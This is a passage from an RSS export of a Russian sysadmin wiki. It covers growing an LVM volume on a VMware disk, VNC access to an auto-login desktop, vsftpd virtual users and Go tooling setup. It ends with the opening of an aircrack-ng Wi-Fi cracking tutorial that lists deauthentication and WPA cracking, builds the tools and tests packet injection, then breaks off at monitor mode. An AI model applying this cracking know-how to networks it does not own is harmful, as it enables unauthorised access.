Управление дисковым пространством организовано стандартно - физическое устройство содержит таблицу разделов &lt;strong&gt;GPT&lt;/strong&gt; (три раздела - &lt;strong&gt;BIOS Boot&lt;/strong&gt;, &lt;strong&gt;Linux Boot&lt;/strong&gt; и раздел с &lt;strong&gt;LVM Physical Volume&lt;/strong&gt;), а структутура &lt;strong&gt;LVM&lt;/strong&gt; включает единственный &lt;strong&gt;Physical Volume&lt;/strong&gt; и единственную &lt;strong&gt;Volume Group&lt;/strong&gt;. Под директории &lt;strong&gt;/&lt;/strong&gt;, &lt;strong&gt;/tmp&lt;/strong&gt;, &lt;strong&gt;/var&lt;/strong&gt; и &lt;strong&gt;/home&lt;/strong&gt; выделены отдельные &lt;strong&gt;Logical Volumes&lt;/strong&gt;. &lt;br/&gt;

Например - мне нужно выделить больше места под &lt;strong&gt;/var&lt;/strong&gt;, но на диске место закончилось. &lt;br/&gt;

Поехали:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Увеличиваем размер диска в консоли &lt;strong&gt;VMWare&lt;/strong&gt;.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Смотрим путь до устройства: &lt;pre class=&quot;code&quot;&gt;ls /sys/class/scsi_device/*/device/block/&lt;/pre&gt;

&lt;p&gt;
Там будет что-то такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;&amp;#039;/sys/class/scsi_device/2:0:0:0/device/block/&amp;#039;:
sr0

&amp;#039;/sys/class/scsi_device/32:0:0:0/device/block/&amp;#039;:
sda&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Нам нужно, чтобы &lt;strong&gt;Linux&lt;/strong&gt; увидела новый размер диска &lt;strong&gt;/dev/sda&lt;/strong&gt;, поэтому выполняем (с привилегиями &lt;strong&gt;root&lt;/strong&gt;): 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo 1 &amp;gt; /sys/class/scsi_device/32\:0\:0\:0/device/rescan&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Проверяем, что диск в GPT:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;fdisk -l /dev/sda | grep &amp;#039;Disklabel type: gpt&amp;#039;&lt;/pre&gt;

&lt;p&gt;
Если диск имеет таблицу MBR (&lt;strong&gt;Disklabel type: dos&lt;/strong&gt;), то хорошо бы его сконверировать в &lt;strong&gt;GPT&lt;/strong&gt; и починить/переустановить &lt;strong&gt;grub&lt;/strong&gt;. Для этого - перемещаем таблицу разделов в конец диска 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sgdisk -e -g /dev/sda&lt;/pre&gt;

&lt;p&gt;
перечитываем таблицу разделов
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;partx -u /dev/sda&lt;/pre&gt;

&lt;p&gt;
создаем новый маленький раздельчик номер 4 с типом &lt;strong&gt;EF02&lt;/strong&gt; (номер раздела и начальный/конечный сектора у вас будут другими)
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sgdisk -n 4:293605246:293609946 -t 4:EF02 /dev/sda&lt;/pre&gt;

&lt;p&gt;
переустанавливаем &lt;strong&gt;grub&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;grub-install /dev/sda&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 На всякий случай смотрим как разбит сейчас диск, потому что нижеприведенный скрипт ориентирован на то, что диск разбит дефолтно. Возможно, придется просто вручную указать размер последнего (не по номеру, а по размешению на диске) раздела (переменная &lt;strong&gt;PART&lt;/strong&gt;). Вот пример разбиения, когда раздел с большим номером находится ПЕРЕД разделом с меньшим номером (о чем сообщает fdisk): 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# fdisk -l /dev/sda ...
  * Device     Boot     Start       End   Sectors  Size Id Type
/dev/sda1  *         2048    976895    974848  476M 83 Linux
/dev/sda2          978942 125827071 124848130 59.5G  5 Extended
/dev/sda3       125827072 209715199  83888128   40G 8e Linux LVM
/dev/sda5          978944 125827071 124848128 59.5G 8e Linux LVM

Partition table entries are not in disk order.&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Теперь на появившемся пустом месте нужно либо создать новый раздел, либо расширить существующий. Я буду расширять. Для этого - можно использовать утилиту &lt;a href=&quot;http://manpages.ubuntu.com/manpages/focal/en/man1/growpart.1.html&quot; class=&quot;urlextern&quot; title=&quot;http://manpages.ubuntu.com/manpages/focal/en/man1/growpart.1.html&quot; rel=&quot;ugc nofollow&quot;&gt;growpart&lt;/a&gt;, либо - сделать это вручную, с помощью скрипта:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash
set -e
PART=/dev/sda3
#PART=`pvdisplay | grep &amp;#039;PV Name&amp;#039; | awk &amp;#039;{print $3}&amp;#039;`
PART=${PART#/dev/}
DISK=$(readlink /sys/class/block/$PART)
DISK=${DISK%/*}
DISK=${DISK##*/}
PARTNUM=${PART#&amp;quot;$DISK&amp;quot;}
echo &amp;quot;Partition Number $PARTNUM&amp;quot;
DISK=/dev/$DISK
echo &amp;quot;Block Device - $DISK&amp;quot;
echo &amp;quot;move backup gpt to end of disk&amp;quot;
sgdisk -e -g $DISK
echo &amp;quot;get first partition sector&amp;quot;
FIRSTSECTOR=`sgdisk --info=$PARTNUM /dev/sda | grep &amp;#039;First sector&amp;#039; | awk &amp;#039;{print $3}&amp;#039;`
echo &amp;quot;get last sector&amp;quot;
ENDSECTOR=$(sgdisk -E $DISK)
echo &amp;quot;End Sector: $ENDSECTOR&amp;quot;
echo &amp;quot;delete current partition&amp;quot;
sgdisk -d $PARTNUM $DISK
echo &amp;quot;replace with new from $FIRSTSECTOR to $ENDSECTOR&amp;quot;
sgdisk -n $PARTNUM:$FIRSTSECTOR:$ENDSECTOR -c $PARTNUM:&amp;quot;Linux LVM $DISK$PARTNUM&amp;quot; -t $PARTNUM:8e00 $DISK
# re-read the partition table entries
partx -u $DISK
pvresize $DISK$PARTNUM&lt;/pre&gt;

&lt;p&gt;
Этот скрипт предполагает, что системе есть единственная &lt;strong&gt;VolumeGroup&lt;/strong&gt;, в которую входит единственный &lt;strong&gt;PhysicalVolume&lt;/strong&gt; и он является последним разделом на диске. Скрипт обнаруживает устройство, на котором размещен &lt;strong&gt;PhysicalVolume&lt;/strong&gt;, обнаруживает номер раздела и его начальный сектор, затем - удаляет раздел и заново создает с началом в том же месте и максимальным размером. В завершение - скрипт перечитывает таблицу разделов и ресайзит  &lt;strong&gt;PhysicalVolume&lt;/strong&gt;. 
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Теперь можно создавать новые &lt;strong&gt;LogicalVolumes&lt;/strong&gt; или расширять имеющиеся. Я расширю то что уже есть:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;lvresize -L +25G /dev/mapper/ubuntu--vg-var&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 И отресайзю файловую систему:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;resize2fs /dev/mapper/ubuntu--vg-var&lt;/pre&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
Также, можно было не увеличивать существующий раздел, а создать новый, на нем создать &lt;strong&gt;PhysicalVolume&lt;/strong&gt;, добавить в &lt;strong&gt;VolumeGroup&lt;/strong&gt; и распределить место между &lt;strong&gt;LogicalVolumes&lt;/strong&gt;. Или даже - просто на уровне &lt;strong&gt;Vmware&lt;/strong&gt; не увеличивать диск, а добавить новый и уже его добавлять в &lt;strong&gt;VolumeGroup&lt;/strong&gt; (даже не разбивая на разделы). В этом случае нужно будет обнаружить новый диск такой командой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo &amp;quot;- - -&amp;quot; &amp;gt; /sys/class/scsi_host/host1/scan&lt;/pre&gt;

&lt;p&gt;
Номер &lt;strong&gt;scsi_host/host1&lt;/strong&gt; может быть другим.
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;если_что-то_сломалось&quot;&gt;Если что-то сломалось&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
После этих манипуляций следует проверить, что система нормально (пере)загружается :) &lt;br/&gt;

Если нет - смотрим, например, сюда: &lt;a href=&quot;https://wiki.autosys.tk/linux_faq/fix_grub_initramfs_boot#fix_grub_mbr_-_gpt&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:fix_grub_initramfs_boot&quot; data-wiki-id=&quot;linux_faq:fix_grub_initramfs_boot&quot;&gt;Fix GRUB&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0415\u0441\u043b\u0438 \u0447\u0442\u043e-\u0442\u043e \u0441\u043b\u043e\u043c\u0430\u043b\u043e\u0441\u044c&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0435\u0441\u043b\u0438_\u0447\u0442\u043e-\u0442\u043e_\u0441\u043b\u043e\u043c\u0430\u043b\u043e\u0441\u044c&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:12,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;6715-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 17 Sep 2020 11:35:18 +0000</pubDate>
        </item>
        <item>
            <title>vnc_before_login</title>
            <link>https://wiki.autosys.tk/linux_faq/vnc_before_login</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;задача&quot;&gt;Задача&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Нужно сделать подключение к текущей сессии пользователя по &lt;strong&gt;vnc&lt;/strong&gt;. &lt;br/&gt;

У пользователя установлена &lt;strong&gt;Kubuntu 19.04&lt;/strong&gt;, при включении пользователь не вводит пароль - система входит автоматически.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-360&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;kubuntu&quot;&gt;KUbuntu&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Устанавливаем и настраиваем &lt;strong&gt;tigervnc&lt;/strong&gt;. В составе пакета &lt;strong&gt;tigervnc-scraping-server&lt;/strong&gt; поставляется утилита &lt;strong&gt;x0vncserver&lt;/strong&gt;, котоаря позволяет подключаться к текущей сессии пользователя.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install tigervnc-scraping-server
mkdir -p ~/.vnc
vncpasswd&lt;/pre&gt;

&lt;p&gt;
Запуск vnc-сервера вручную:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;x0vncserver -display :0 -PasswordFile ~/.vnc/passwd&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;KUbuntu&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;kubuntu&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;361-871&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;автоматический_запуск_при_входе_пользователя&quot;&gt;Автоматический запуск при входе пользователя&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Создаем файлик &lt;strong&gt;~/.config/autostart-scripts/x0vnc.sh&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash
x0vncserver -display :0 -PasswordFile ~/.vnc/passwd&lt;/pre&gt;

&lt;p&gt;
Делаем его исполняемым и перезагружаемся:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;chmod +x ~/.config/autostart-scripts/x0vnc.sh&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0437\u0430\u043f\u0443\u0441\u043a \u043f\u0440\u0438 \u0432\u0445\u043e\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439_\u0437\u0430\u043f\u0443\u0441\u043a_\u043f\u0440\u0438_\u0432\u0445\u043e\u0434\u0435_\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:1,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;872-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 24 Jun 2019 09:04:51 +0000</pubDate>
        </item>
        <item>
            <title>vsftpd-и-виртуальные-пользователи-virtual-users-on-debian</title>
            <link>https://wiki.autosys.tk/linux_faq/vsftpd-%D0%B8-%D0%B2%D0%B8%D1%80%D1%82%D1%83%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5-%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D0%B8-virtual-users-on-debian</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;виртуальные_пользователи_в_vsftpd_под_ubuntudebian&quot;&gt;Виртуальные пользователи в VsFTPD под Ubuntu/Debian&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Ставим необходимые компоненты:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;apt-get install libpam-pwdfile vsftpd apache2-utils&lt;/pre&gt;

&lt;p&gt;
Предположим, что сайтики лежат в &lt;strong&gt;/srv/www/mysite.ru/htdocs&lt;/strong&gt; , соответственно ограничиваем пользователя доступом в корневую директорию. &lt;br/&gt;

Чистим дефолтный конфиг vsftpd&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mv /etc/vsftpd.conf /etc/vsftpd.conf_bak&lt;/pre&gt;

&lt;p&gt;
И записываем туда вот что: &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;listen=YES
anonymous_enable=NO
local_enable=YES
write_enable=YES
local_umask=022
nopriv_user=vsftpd
virtual_use_local_privs=YES
guest_enable=YES
user_sub_token=$USER
local_root=/srv/www/$USER
chroot_local_user=YES
hide_ids=YES
chown_uploads=YES
chown_username=vsftpd
guest_enable=YES
guest_username=vsftpd
chown_upload_mode=0775

use_localtime=YES
xferlog_enable=YES
xferlog_file=/var/log/vsftpd.log
xferlog_std_format=YES

dirmessage_enable=YES
ascii_upload_enable=YES
ascii_download_enable=YES
ftpd_banner=Welcome developer to WWW server!
ls_recurse_enable=YES
secure_chroot_dir=/var/run/vsftpd/empty

pasv_enable=YES
pasv_min_port=62000
pasv_max_port=64000&lt;/pre&gt;

&lt;p&gt;
Создаем пользователя &lt;strong&gt;vsftpd&lt;/strong&gt; (системным без шела)&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;useradd -M -r vsftpd&lt;/pre&gt;

&lt;p&gt;
Далее надо настроить &lt;strong&gt;pam&lt;/strong&gt;-аутентификацию.&lt;br/&gt;

Для этого открываем файлик &lt;strong&gt;/etc/pam.d/vsftpd&lt;/strong&gt;, комментим всё и добавляем туда две строчки:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;auth required pam_pwdfile.so pwdfile /etc/ftpdpasswd
account required pam_permit.so&lt;/pre&gt;

&lt;p&gt;
Теперь создаем файлик &lt;strong&gt;/etc/ftpdpasswd&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;touch /etc/ftpdpasswd
htpasswd -c /etc/ftpdpasswd&lt;/pre&gt;

&lt;p&gt;
Добавление пользователя осуществляется аналогично, только без опции &lt;strong&gt;-с&lt;/strong&gt; и с названием корневой директории сайта в качестве пользователя:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;htpasswd /etc/ftpdpasswd www.mysite.ru&lt;/pre&gt;

&lt;p&gt;
Если возникает ошибка &lt;strong&gt;cannot change directory&lt;/strong&gt; Надо дать права на исполнение для директории &lt;strong&gt;/home/vsftpd/&lt;/strong&gt; и для директории заданной в файле &lt;strong&gt;/etc/vsftpd.conf&lt;/strong&gt; параметром &lt;strong&gt;local_root=&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;setfacl -m u:vsftpd:x /home/vsftpd/
setfacl -m u:vsftpd:xrw /mnt/shared/new/XenApp/&lt;/pre&gt;

&lt;p&gt;
Ребутим &lt;strong&gt;vsftpd&lt;/strong&gt; и радуемся..
&lt;/p&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 09 Apr 2020 18:43:20 +0000</pubDate>
        </item>
        <item>
            <title>webloop2</title>
            <link>https://wiki.autosys.tk/linux_faq/webloop2</link>
            <description>&lt;pre class=&quot;code&quot;&gt;wget https://storage.googleapis.com/golang/go1.5.3.linux-amd64.tar.gz
sudo tar -C /usr/local -xzf go1.5.3.linux-amd64.tar.gz
sudo echo &amp;quot;GOPATH=/go&amp;quot; &amp;gt;&amp;gt; /etc/environment
sudo reboot&lt;/pre&gt;

&lt;p&gt;
Добавить &lt;strong&gt;/usr/local/go/bin&lt;/strong&gt; в PATH
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo reboot&lt;/pre&gt;

&lt;p&gt;
==
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update -y &amp;amp;&amp;amp; sudo apt-get install --no-install-recommends -yq wget build-essential ca-certificates git mercurial bzr dbus xvfb libwebkit2gtk-3.0-dev libgtk-3-dev libcairo2-dev 
cd /go
git clone http://git.autosys.tk/Mike/wixsaver.git $GOPATH/src


  &lt;/pre&gt;

&lt;p&gt;
&lt;a href=&quot;https://github.com/pasangsherpa/go-webloop&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/pasangsherpa/go-webloop&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/pasangsherpa/go-webloop&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
go get -u -tags gtk_3_10 github.com/pasangsherpa/webloop/…
&lt;/p&gt;

&lt;p&gt;
go get -u -tags gtk_3_10 github.com/sourcegraph/webloop/…
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>whatsapp_extension</title>
            <link>https://wiki.autosys.tk/linux_faq/whatsapp_extension</link>
            <description>
&lt;p&gt;
Вот расширение для &lt;strong&gt;Firefox&lt;/strong&gt;, которое предоставляет доступ к web-интерфейсу &lt;strong&gt;WhatsApp&lt;/strong&gt;. &lt;br/&gt;

Мне оно нравится больше всех, однако оно пропало из коллекции расширений: &lt;a href=&quot;https://wiki.autosys.tk/_media/linux_faq/jid1-uqweawsca3fxuo_jetpack.zip&quot; class=&quot;media mediafile mf_zip&quot; title=&quot;linux_faq:jid1-uqweawsca3fxuo_jetpack.zip (53.5 KB)&quot;&gt; Desktop messenger for WhatsApp™ 0.2.7&lt;/a&gt;
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>wifi_crack</title>
            <link>https://wiki.autosys.tk/linux_faq/wifi_crack</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;https://github.com/david-palma/wifi-cracking&quot; class=&quot;urlextern&quot; title=&quot;https://github.com/david-palma/wifi-cracking&quot; rel=&quot;ugc nofollow&quot;&gt;https://github.com/david-palma/wifi-cracking&lt;/a&gt;
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;wi-fi_cracking_with_aircrack-ng&quot;&gt;Wi-Fi cracking with aircrack-ng&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://wiki.autosys.tk/linux_faq/aircrack-ng&quot; class=&quot;wikilink2&quot; title=&quot;linux_faq:aircrack-ng&quot; rel=&quot;nofollow&quot; data-wiki-id=&quot;linux_faq:aircrack-ng&quot;&gt;https://aircrack-ng.org/&lt;/a&gt; is basically a network software suite that has been crafted to achieve the following objectives:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 packet sniffing
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 attacking (replay attacks, deauthentication, fake access points…) via packet injection
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 testing Wi-Fi cards and driver capabilities (capture and injection)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 cracking WEP and WPA/WPA2 Wi-Fi routers
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
Note that the present tutorial is not an exhaustive guide, rather it is intended to build some basic skills to test your own network&amp;#039;s security and get familiar with the concepts. &lt;br/&gt;

The attack outlined below is based on a passive technique (ARP request replay attack) and it focuses on debian-based distributions assuming you have a working wireless card with drivers already patched for injection. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Wi-Fi cracking with aircrack-ng&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;wi-fi_cracking_with_aircrack-ng&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;46-862&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;aircrack-ng_installation&quot;&gt;Aircrack-ng installation&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Aircrack-ng can be installed on a debian-based operating system by compiling the source code (for more details you can visit the &lt;a href=&quot;https://wiki.autosys.tk/linux_faq/official_website&quot; class=&quot;wikilink2&quot; title=&quot;linux_faq:official_website&quot; rel=&quot;nofollow&quot; data-wiki-id=&quot;linux_faq:official_website&quot;&gt;https://aircrack-ng.org/&lt;/a&gt;). &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Aircrack-ng installation&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;aircrack-ng_installation&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;863-1082&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;installing_required_and_optional_dependencies&quot;&gt;Installing required and optional dependencies&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Below you can find instructions for installing the basic requirements to build aircrack-ng for Debian-based operating systems.
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev libcmocka-dev hostapd wpasupplicant tcpdump screen iw usbutils git&lt;/pre&gt;

&lt;p&gt;
Get the latest copy of aircrack-ng:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;git clone https://github.com/aircrack-ng/aircrack-ng
cd aircrack-ng&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Installing required and optional dependencies&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;installing_required_and_optional_dependencies&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;1083-1643&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;compiling_and_installing&quot;&gt;Compiling and installing&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
To build aircrack-ng, the Autotools build system is used. &lt;br/&gt;

First
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;./configure&lt;/pre&gt;

&lt;p&gt;
the project for building with the appropriate options:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;autoreconf -i
./configure --with-experimental&lt;/pre&gt;

&lt;p&gt;
Next, compile the project with the
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make&lt;/pre&gt;

&lt;p&gt;
command and use the “installing” target from the additional targets listed below to complete the installation. &lt;br/&gt;

&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Execute all unit testing: &lt;pre class=&quot;code&quot;&gt;make check&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Execute all integration testing (requires root): 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make integration&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Installing: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make install&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Uninstall: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;make uninstall&lt;/pre&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Compiling and installing&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;compiling_and_installing&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;1644-2248&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit5&quot; id=&quot;test_wireless_device_packet_injection&quot;&gt;Test wireless device packet injection&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
The purpose of this step ensures that your card successfully supports injection. &lt;br/&gt;

Assuming your interface name is “wlan0” (you can retrieve it typing `iwconfig` on the terminal), type the following command:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;aireplay-ng --test wlan0&lt;/pre&gt;

&lt;p&gt;
The system responds:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;18:10:59  wlan0 channel: 10
18:10:59  Trying broadcast probe requests...
18:10:59  Injection is working!
18:11:00  Found 1 AP
...&lt;/pre&gt;

&lt;p&gt;
This confirms your card can inject packets.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Test wireless device packet injection&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;test_wireless_device_packet_injection&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;2249-2747&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit6&quot; id=&quot;simple_sniffing_and_cracking&quot;&gt;Simple sniffing and cracking&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;ol&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Start the wireless interface in monitor mode
